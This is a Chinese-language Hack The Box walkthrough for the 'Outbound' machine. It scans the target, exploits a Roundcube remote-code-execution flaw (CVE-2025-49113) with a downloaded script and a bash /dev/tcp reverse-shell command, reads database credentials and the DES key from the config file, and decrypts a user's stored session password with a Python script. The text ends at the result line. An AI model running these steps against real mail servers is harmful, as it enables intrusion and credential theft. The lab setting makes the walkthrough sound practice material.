HTB Outbound - 完整指南

机器信息

属性 数值
目标 IP 10.x.x.x
主机名 mail.outbound.htb
操作系统 Ubuntu Linux
难度 简单
初始凭据 tyler:LhKL1o9Nm3X2

侦察

端口扫描

nmap -sV -sC -v 10.x.x.x

结果:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-12 14:46 CDT
Nmap scan report for mail.outbound.htb (10.x.x.x)
Host is up (0.012s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_  256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST
|_http-title: Roundcube Webmail :: Welcome to Roundcube Webmail
|_http-server-header: nginx/1.24.0 (Ubuntu)

服务分析

  • SSH (22端口): OpenSSH 9.6p1 Ubuntu
  • HTTP (80端口): nginx 1.24.0 提供 Roundcube webmail 服务

该网络应用被识别为 Roundcube Webmail,可以在 http://mail.outbound.htb/ 访问。

初始访问

Roundcube 认证

使用提供的凭据:

  • 用户名: tyler
  • 密码: LhKL1o9Nm3X2

成功登录到 Roundcube webmail 界面。
An image to describe post

漏洞识别

登录并检查应用后,发现此 Roundcube 版本存在 CVE-2025-49113 漏洞——远程代码执行漏洞。

CVE-2025-49113 利用

1. 下载利用脚本:

wget https://raw.githubusercontent.com/hakaioffsec/CVE-2025-49113-exploit/refs/heads/main/CVE-2025-49113.php

2. 执行利用脚本获取反向 shell:

php exploit.php http://mail.outbound.htb/ tyler LhKL1o9Nm3X2 "bash -c 'bash -i >& /dev/tcp/YOUR_IP/PORT 0>&1'"


3. 已获得 www-data 反向 shell
4. 切换到 tyler 用户:An image to describe post

su tyler
# Password: LhKL1o9Nm3X2

信息收集

Roundcube 配置分析

定位并检查 Roundcube 配置文件:
文件: /var/www/html/roundcube/config/config.inc.php

主要发现:An image to describe post

// 数据库连接字符串
$config['db_dsnw'] = 'mysql://roundcube:RCDBPass2025@localhost/roundcube';
// 会话数据加密密钥
$config['des_key'] = 'rcmail-!24ByteDESkey*Str';

数据库枚举

连接到 MySQL 数据库:

mysql -u roundcube -pRCDBPass2025 -h localhost roundcube

检查 session 表:

USE roundcube;
SELECT * FROM session;

发现 Session 数据:
session 表包含 base64 编码的序列化 PHP 数据,其中文用户密码已加密。
识别出关键 session:

  • jacob: 活跃的 session,密码加密
  • tyler: 当前用户 session

横向移动

Session 解密

jacob 的 session 数据分析:
经过 base64 解码后,发现:

username|s:5:"jacob";
password|s:32:"L7Rv00A8TuwJAr67kITxxcSgnIk25Am/";

密码解密脚本:

#!/usr/bin/env python3
from Crypto.Cipher import DES3
from base64 import b64decode
def decrypt_password(encrypted_password, key="rcmail-!24ByteDESkey*Str"):
    try:
        des_key = key.encode('utf-8')
        data = b64decode(encrypted_password)
        iv = data[:8]
        ciphertext = data[8:]
        
        cipher = DES3.new(des_key, DES3.MODE_CBC, iv=iv)
        decrypted = cipher.decrypt(ciphertext)
        
        return decrypted.rstrip(b"\0").decode('utf-8', errors='ignore')
        
    except Exception as e:
        return f"Error: {str(e)}"
# Jacob's encrypted password
encrypted = "L7Rv00A8TuwJAr67kITxxcSgnIk25Am/"
print(f"Decrypted password: {decrypt_password(encrypted)}")

结果: